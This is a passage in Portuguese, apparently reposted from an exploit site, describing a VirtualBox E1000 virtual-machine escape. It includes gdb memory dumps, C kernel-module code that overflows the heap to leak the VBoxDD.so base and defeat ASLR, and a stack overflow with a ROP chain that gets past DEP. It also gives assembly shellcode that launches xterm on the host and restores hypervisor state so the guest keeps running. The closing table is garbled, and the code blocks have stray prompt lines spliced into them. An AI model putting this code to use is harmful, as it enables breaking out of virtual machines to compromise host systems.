Quando o sistema operacional convidado executa a instrução INB(0x4107) para ler um byte da porta, o tratador retira um byte do array au8SMBusBlkDat[32] no índice u8SMBusBlkIdx e o retorna ao convidado. E é assim que se aplica a primitiva de escrita: já que a distância entre os blocos de heap do dispositivo virtual é constante, assim também é a distância do array EEPROM93C46.m_au16Data até ACPIState.u8SMBusBlkIdx. Escrevendo dois bytes em ACPIState.u8SMBusBlkIdx, podemos ler dados arbitrários no intervalo de 255 bytes a partir de ACPIState.au8SMBusBlkDat.

Há um obstáculo. Observando a estrutura ACPIState, percebe-se que o array está localizado no final da estrutura. Os campos restantes são inúteis para vazar. Então, vamos ver o que pode ser encontrado após a estrutura:```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

Parece que há um ponteiro para uma string colocado em um offset fixo a partir da base da imagem do VBoxDD.so. O ponteiro está no offset 0x58 ao final da estrutura ACPIState. Podemos ler esse ponteiro byte a byte usando as primitivas e finalmente obter a base da imagem do VBoxDD.so. Apenas esperamos que os dados após a estrutura ACPIState não sejam aleatórios a cada inicialização da máquina virtual. Felizmente, não são; o ponteiro no offset 0x58 está sempre lá.

Vazamento de Informação

Agora combinamos as primitivas de escrita e leitura e as exploramos para contornar o ASLR. Vamos estourar o heap sobrescrevendo a estrutura EEPROM93C46, então disparar o autômato finito da EEPROM para escrever o índice na estrutura ACPIState, e então executar INB(0x4107) no guest para acessar a ACPI e ler um byte do ponteiro. Repetir isso 8 vezes incrementando o índice em 1.```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");

root@kitploit:~
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

}

root@kitploit:~
Foi dito que, para que o underflow de inteiros não leve ao estouro de buffer na pilha, certos registradores E1000 devem ser configurados. A ideia é que o buffer esteja sendo estourado na função e1kHandleRxPacket, que é chamada ao manipular descritores Tx no modo loopback. De fato, no modo loopback, o convidado envia pacotes de rede para si mesmo, então eles são recebidos imediatamente após o envio. Desabilitamos esse modo para que e1kHandleRxPacket fique inacessível.

### Bypass de DEP

Nós contornamos o ASLR. Agora o modo loopback pode ser ativado e o estouro de buffer na pilha pode ser acionado.```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

Por agora, quando a última instrução de e1kHandleRxPacket é executada, o endereço de retorno salvo é sobrescrito e o controle é transferido para qualquer lugar que o atacante queira. Mas o DEP ainda está presente. Ele é contornado de forma clássica, construindo uma cadeia ROP. Gadgets ROP alocam memória executável, copiam um carregador de shellcode e o executam.

Shellcode

O carregador de shellcode é trivial. Ele copia o início do buffer que transborda para o próximo espaço.```asm use64

start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop

payload: ; Here the shellcode is to be

loader_size = $ - start

root@kitploit:~
O shellcode é executado. Sua primeira parte é:```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

Ele faz fork e execve para criar o processo /usr/bin/xterm. O atacante obtém controle sobre o ring 3 do host.

Continuação do Processo

Eu acredito que todo exploit deve ser finalizado. Isso significa que não deve travar a aplicação, embora nem sempre seja possível, é claro. Precisamos que a máquina virtual continue a execução, o que é conseguido pela segunda parte do shellcode.```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48

root@kitploit:~
; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret
root@kitploit:~
Quando e1kHandleRxPacket é chamado, uma pilha de chamadas é:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

Vamos direto para e1kR3NetworkDown_XmitPending que não faz mais nada e retorna para uma função do hipervisor.```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }

root@kitploit:~
O shellcode adiciona 0x48 ao RBP para torná-lo como deveria estar em e1kR3NetworkDown_XmitPending. Em seguida, os registradores RBX, R12, R13, R14, R15 são recuperados da pilha, pois é exigido pela ABI System V preservá-los em uma função chamada. Se não forem, o hipervisor irá travar devido a ponteiros inválidos neles.

Isso poderia ser suficiente, pois a máquina virtual não trava mais e continua executando. Mas haverá uma violação de acesso na função PDMR3QueueDestroyDevice quando a VM for desligada. A razão é que quando o heap é estourado, uma estrutura importante PDMQUEUE é sobrescrita. Além disso, ela é sobrescrita pelos últimos dois gadgets ROP, ou seja, os últimos 16 bytes. Tentei reduzir o tamanho da cadeia ROP e falhei, mas quando substituí os dados manualmente, o hipervisor ainda estava travando. Isso significava que o obstáculo não é tão óbvio quanto parecia.

A estrutura de dados sendo sobrescrita é uma lista encadeada. Os dados a serem sobrescritos estão no penúltimo elemento da lista; um ponteiro 'next' será sobrescrito. A solução acabou sendo simples:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

Remover os dois últimos elementos permite que a máquina virtual desligue suavemente.

Demo

https://vimeo.com/299325088

Baixar ferramenta
Tx DescriptorAntes/Depoisu16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN
data_2Antes0x301000x10
-Depois0x30100x100
data_3Antes0x30100x100
-Depois0x30100x100
data_5Before0xF0x100x4188
-After---